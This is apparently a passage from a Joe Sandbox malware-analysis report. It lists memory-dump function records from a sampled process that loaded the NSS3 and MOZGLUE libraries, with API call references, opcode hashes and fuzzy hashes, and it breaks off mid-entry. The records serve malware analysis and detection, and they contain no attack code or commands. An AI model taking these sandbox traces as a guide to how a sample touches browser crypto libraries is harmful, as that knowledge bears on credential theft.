PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B6036

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 3960ace481856d201b58166893985441e78a632deb6f1c23a4f28f10fda51ebc
Instruction ID: afb2aa26df23ceb7e58142cfa93b926d199fd9e8900df2c8f0cc525a24e9f40e
Opcode Fuzzy Hash: 3960ace481856d201b58166893985441e78a632deb6f1c23a4f28f10fda51ebc
Instruction Fuzzy Hash: 2F211DF5A04B049BEA119F75D808BD7B7F8AB4570DF14092CE45A97A40D736E018CBA5

Function 6C730860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C73086C

Part of subcall function 6C730930: EnterCriticalSection.KERNEL32(?,00000000,?,6C730C83), ref: 6C73094F
Part of subcall function 6C730930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C730C83), ref: 6C730974
Part of subcall function 6C730930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730983
Part of subcall function 6C730930: _PR_MD_UNLOCK.NSS3(?,?,6C730C83), ref: 6C73099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C73087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C730892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C73798A), ref: 6C7308AA
free.MOZGLUE(?,00000000,00000000,?,?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C7308C7
free.MOZGLUE(?,00000000,00000000,?,?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C7308E9
free.MOZGLUE(?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C7308EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C73090E

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: a8dbb4fd878afec495ca5dec98fb8a3e974f60d9da42bf8caa9ca69e9254a0a5
Instruction ID: b56fd22a1871d60eb8537d1f8d05b6bf212187f97aa0843d3dcb1fcc0910fa7d
Opcode Fuzzy Hash: a8dbb4fd878afec495ca5dec98fb8a3e974f60d9da42bf8caa9ca69e9254a0a5
Instruction Fuzzy Hash: 0311B6B1B032604BFF009B59DA4578A3778AF47259F290134E96947741DF71E804CBD6

Function 6C623C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C69460B,?,?), ref: 6C623CA9
EnterCriticalSection.KERNEL32(?), ref: 6C623CB9
PL_HashTableLookup.NSS3(?), ref: 6C623CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C623CD6
PR_Unlock.NSS3 ref: 6C623CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C623CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C623D03
PR_Unlock.NSS3 ref: 6C623D15

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 521d74ecfe2d385473a61c2ee739d1c86e8f91efc2f0ba23a8fdeb91b807ae13
Instruction ID: 9e2543a7187c5dc0ca8830828d423ac944374ac63f952f20e2b9f2d5bb4e5d1f
Opcode Fuzzy Hash: 521d74ecfe2d385473a61c2ee739d1c86e8f91efc2f0ba23a8fdeb91b807ae13
Instruction Fuzzy Hash: 7B1129B6E41105A7DB011624AC05CAA3ABCEB0335EB290530ED1893B11FB32D9589BE9

Function 6C73B850 Relevance: 12.0, APIs: 8, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,?,6C737AF9,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73B862
free.MOZGLUE(?,?,6C737AF9,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73B869
DeleteCriticalSection.KERNEL32(?,00000000,?,6C737AF9,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73B88A
free.MOZGLUE(?,?,6C737AF9,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73B891
DeleteCriticalSection.KERNEL32(6C73798A), ref: 6C73B8B9
free.MOZGLUE(?), ref: 6C73B8C0
DeleteCriticalSection.KERNEL32(?,00000000,?,6C737AF9,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73B8E1
free.MOZGLUE(?,?,6C737AF9,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73B8E8

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 19f22a5c8e9fb42736591f498d6aaf3217d0f9464b2dc29a1be99134ed996753
Instruction ID: 85066a6714235454872d1011659fee932ff1778afbf0a2459a82d2265c2f20cf
Opcode Fuzzy Hash: 19f22a5c8e9fb42736591f498d6aaf3217d0f9464b2dc29a1be99134ed996753
Instruction Fuzzy Hash: AF1133B1A03A349BDE11EFA0D90C75637B8BB0B757F114138E91A97500C335E545CBE5

Function 6C629C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6411C0: PR_NewLock.NSS3 ref: 6C641216

free.MOZGLUE(?), ref: 6C629E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C629E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C629E4E
TlsGetValue.KERNEL32 ref: 6C629EA2

Part of subcall function 6C639500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C639546

EnterCriticalSection.KERNEL32(?), ref: 6C629EB6
PR_Unlock.NSS3 ref: 6C629ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C629F18

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 2e80bf803100155fd9f44f7971c51255122d753d170a31008529cbb2f5154c57
Instruction ID: 4b4a9a8f23674efd48a6279be3bfdd2c2763597be8a46c43eb7363a7b8eb203a
Opcode Fuzzy Hash: 2e80bf803100155fd9f44f7971c51255122d753d170a31008529cbb2f5154c57
Instruction Fuzzy Hash: A3810871A00601ABE7109F34DC40AEB77E5BF8634CF145528EC8987B51FB35E855CBA9

Function 6C63DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(D958E852,6C641397,5B5F5EC0,?,?,6C63B1EE,2404110F,?,?), ref: 6C63AB3C
Part of subcall function 6C63AB10: free.MOZGLUE(D958E836,?,6C63B1EE,2404110F,?,?), ref: 6C63AB49
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(5D5E6C83), ref: 6C63AB5C
Part of subcall function 6C63AB10: free.MOZGLUE(5D5E6C77), ref: 6C63AB63
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C63AB6F
Part of subcall function 6C63AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C63AB76

TlsGetValue.KERNEL32 ref: 6C63DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C63DD0E
PK11_IsFriendly.NSS3(?), ref: 6C63DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C63DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C63DEA6
PR_Unlock.NSS3(?), ref: 6C63DF08

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: c7a1a00d42e3902e066f86a658a81af744641d6c1fa9c6606d4e93972442d924
Instruction ID: c4e645abd2de4fe0d27f52b7ae7d4da9798789e617e2f5226788902220b8230e
Opcode Fuzzy Hash: c7a1a00d42e3902e066f86a658a81af744641d6c1fa9c6606d4e93972442d924
Instruction Fuzzy Hash: BD91E6B5A001159FDB01CF68C880BAABBF5FF45308F15A029DC1D9B752EB31E916CB99

Function 6C5F5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C6DBB62,00000004,6C744CA4,?,?,00000000,?,?,6C5B31DB), ref: 6C5F60AB
sqlite3_config.NSS3(00000004,6C744CA4,6C6DBB62,00000004,6C744CA4,?,?,00000000,?,?,6C5B31DB), ref: 6C5F60EB
sqlite3_config.NSS3(00000012,6C744CC4,?,?,6C6DBB62,00000004,6C744CA4,?,?,00000000,?,?,6C5B31DB), ref: 6C5F6122

Strings

%s at line %d of [%.10s], xrefs: 6C5F60A4
misuse, xrefs: 6C5F609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F6095

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 7790f45ddee7197b007cb7f9d899921c06aa613f8fdafac0d842cae944820a34
Instruction ID: d0123630c17adb9fb2390a7671cbf806feafe633f45c7a1cf8ba4905f20c7c4e
Opcode Fuzzy Hash: 7790f45ddee7197b007cb7f9d899921c06aa613f8fdafac0d842cae944820a34
Instruction Fuzzy Hash: 77B16574E0475ECFCB09CF58C6449A9B7F0FB1E304B258569D509AB321DB30AA45CFA5

Function 6C5A4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5A51BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6C5A51DF
%s at line %d of [%.10s], xrefs: 6C5A51B4
misuse, xrefs: 6C5A51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5A51A5

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 48cbce6bbd27cb405e648afa8296064d0506712b8843cf3c23843231a6d97fbd
Instruction ID: 1247f700d9dd7bcdd6f14d8333a180e53649c3a0e4f1582ee91c40948184a241
Opcode Fuzzy Hash: 48cbce6bbd27cb405e648afa8296064d0506712b8843cf3c23843231a6d97fbd
Instruction Fuzzy Hash: 31719CB1604609DBEB00CEA7DD80FAE77B5BB48308F544524FE199BB81D731E952CBA1

Function 6C68FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C68F165,6C75219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C68FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C6900A6

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 7f636fcf700fb2414af5496735e1f370b99ff94d36b9d0173846d571bc0684e9
Instruction ID: 4da11e184f531e015fdd451134eac73f31efc00e2ec6f7fc35f43f0fd33fc462
Opcode Fuzzy Hash: 7f636fcf700fb2414af5496735e1f370b99ff94d36b9d0173846d571bc0684e9
Instruction Fuzzy Hash: 01510371E052569FDB108E59C8807AEB7B5FF4D318F280229DC59A7B40D732AC00CBE9

Function 6C64DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64DF37
EnterCriticalSection.KERNEL32(?), ref: 6C64DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C64E02B
PR_Unlock.NSS3(?), ref: 6C64E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C64E090
PR_Unlock.NSS3(?), ref: 6C64E0AF

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 78699d35bcac37eab9f0ab9fe7c7f1a8c083e7df0fea4612c3d118eab18f49d4
Instruction ID: 65704b5e3c89cd7c654c7e0bd3fb12c90fafbfe617e559c97588b7dbeae69d8b
Opcode Fuzzy Hash: 78699d35bcac37eab9f0ab9fe7c7f1a8c083e7df0fea4612c3d118eab18f49d4
Instruction Fuzzy Hash: 1651AF31A00600DFEB20DF24D844B96B3B5FF45719F20C529E9AA47BA1D735E858CB9A

Function 6C66AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C66AB3E,?,?,?), ref: 6C66AC35

Part of subcall function 6C64CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C64CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C66AB3E,?,?,?), ref: 6C66AC55

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C66AB3E,?,?), ref: 6C66AC70

Part of subcall function 6C64E300: TlsGetValue.KERNEL32 ref: 6C64E33C
Part of subcall function 6C64E300: EnterCriticalSection.KERNEL32(?), ref: 6C64E350
Part of subcall function 6C64E300: PR_Unlock.NSS3(?), ref: 6C64E5BC
Part of subcall function 6C64E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C64E5CA
Part of subcall function 6C64E300: TlsGetValue.KERNEL32 ref: 6C64E5F2
Part of subcall function 6C64E300: EnterCriticalSection.KERNEL32(?), ref: 6C64E606
Part of subcall function 6C64E300: PORT_Alloc_Util.NSS3(?), ref: 6C64E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C66AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66AB3E), ref: 6C66ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C66AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C66AD2B

Part of subcall function 6C64F360: TlsGetValue.KERNEL32(00000000,?,6C66A904,?), ref: 6C64F38B
Part of subcall function 6C64F360: EnterCriticalSection.KERNEL32(?,?,?,6C66A904,?), ref: 6C64F3A0
Part of subcall function 6C64F360: PR_Unlock.NSS3(?,?,?,?,6C66A904,?), ref: 6C64F3D3

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: f831ea5c2e64ffbd7cc72e1052a0e5256653306156d3de472404a83d5402849f
Instruction ID: 4a42982557a02c0e0eac3f5df7303663cc7fd8b7f93f32373fbd7d3cd9073013
Opcode Fuzzy Hash: f831ea5c2e64ffbd7cc72e1052a0e5256653306156d3de472404a83d5402849f
Instruction Fuzzy Hash: 6A3129B1E002295FEB009F26CC409AF77A6AF8571CB188128E81557B41EB31DD15C7AA

Function 6C648C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C648C7C

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C648CB0
TlsGetValue.KERNEL32 ref: 6C648CD1
EnterCriticalSection.KERNEL32(?), ref: 6C648CE5
PR_Unlock.NSS3(?), ref: 6C648D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C648D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C648D93

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
